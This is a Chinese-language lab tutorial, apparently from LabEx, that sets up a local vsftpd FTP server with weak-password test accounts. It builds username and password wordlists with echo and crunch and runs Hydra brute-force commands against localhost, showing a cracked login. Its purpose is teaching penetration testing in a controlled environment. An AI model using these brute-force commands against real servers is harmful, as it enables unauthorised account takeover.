介绍
在这个实验中,你将学习如何使用 Hydra(一种多功能的密码破解工具)对 FTP 服务进行暴力破解攻击。你将使用 vsftpd 设置一个本地 FTP 服务器,并创建具有弱密码的测试帐户,以演示安全漏洞。
本实验将指导你执行 Hydra 攻击、分析结果,并了解弱身份验证如何危及 FTP 服务。这个实践练习涵盖了在受控环境中的服务器配置、攻击模拟和安全评估。
在这个实验中,你将学习如何使用 Hydra(一种多功能的密码破解工具)对 FTP 服务进行暴力破解攻击。你将使用 vsftpd 设置一个本地 FTP 服务器,并创建具有弱密码的测试帐户,以演示安全漏洞。
本实验将指导你执行 Hydra 攻击、分析结果,并了解弱身份验证如何危及 FTP 服务。这个实践练习涵盖了在受控环境中的服务器配置、攻击模拟和安全评估。
在这一步中,你将在 LabEx VM 环境中使用 vsftpd(Very Secure FTP Daemon,非常安全的 FTP 守护进程)设置一个本地 FTP 服务器。FTP(File Transfer Protocol,文件传输协议)是一种标准的网络协议,用于在客户端和服务器之间通过网络传输文件。可以把它想象成一个数字邮局,处理计算机之间的文件传递。
sudo apt-get update && sudo apt-get install -y vsftpd
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
sudo nano /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
你可以通过运行以下命令来验证更改:
grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat
完成这些更改后,按 Ctrl+O(Write Out,写出)保存文件,然后按 Ctrl+X 退出 nano。
现在我们需要重启 vsftpd 服务以应用我们的配置更改。这就像使用我们的新设置刷新服务器:
sudo service vsftpd restart
-m
标志创建主目录,-s
设置默认 shell:sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser
当出现提示时,将密码设置为 password123
。我们仅出于测试目的使用这个简单的密码——在实际情况下,你应该始终使用强密码。
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
sudo service vsftpd status
你应该看到输出指示该服务处于活动状态(正在运行)。如果看到任何错误,你可能需要查看你的配置步骤。
在这一步中,我们将通过创建具有故意设置的弱密码的测试帐户,来为我们的 FTP 服务器进行安全测试做准备。此设置模拟了在真实系统中发现的常见安全漏洞,在这些系统中,用户通常选择简单的密码。我们将创建 3 个测试用户,设置他们的主目录,并生成 Hydra 稍后将使用的密码列表。
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd
sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd
sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files
sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt
如果配置正确,你应该在终端中看到 test1.txt 的内容。
This is ftpuser1's test file
在这一步中,你将准备 Hydra 将用于尝试登录 FTP 服务器的密码字典(wordlist)。这些列表包含 Hydra 在暴力破解攻击期间将系统地尝试的潜在用户名和密码。了解如何创建有效的密码字典对于渗透测试至关重要。
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
crunch
工具。这有助于创建可能在真实系统中使用的系统密码模式:sudo apt-get install -y crunch
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
wc -l ~/project/combined_passwords.txt
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt
在这一步中,你将使用 Hydra 对我们之前配置的本地 FTP 服务器执行暴力破解攻击。Hydra 是一种流行的密码破解工具,支持包括 FTP 在内的多种协议。暴力破解攻击会系统地尝试所有可能的密码组合,直到找到正确的密码为止。这说明了为什么弱密码容易受到此类攻击。
hydra -h
-L
指定用户名列表,-P
指定密码列表。Hydra 将针对在 localhost 上运行的 FTP 服务尝试每种组合:hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
-vV
标志。这种详细模式有助于了解 Hydra 在攻击期间正在做什么:hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
-t 4
选项将并行连接限制为 4 个,以避免服务器过载,同时仍保持良好的速度:hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
[21][ftp] host: 127.0.0.1 login: ftpuser1 password: password1
-o
选项将输出写入文件,而不仅仅是在屏幕上显示:hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
cat ~/project/hydra_results.txt
在这个实验中,你已经学习了如何使用 vsftpd 配置本地 FTP 服务器,包括软件包安装、为本地用户访问进行的配置调整以及使用弱密码创建测试帐户。该过程涉及修改 vsftpd.conf 设置、设置正确的目录权限以及验证服务功能。
此外,你还通过创建具有可预测凭据的多个帐户,为 Hydra 攻击准备了一个测试环境。此设置提供了一个受控的场景,可以在保持实际安全测试条件的同时练习暴力破解技术。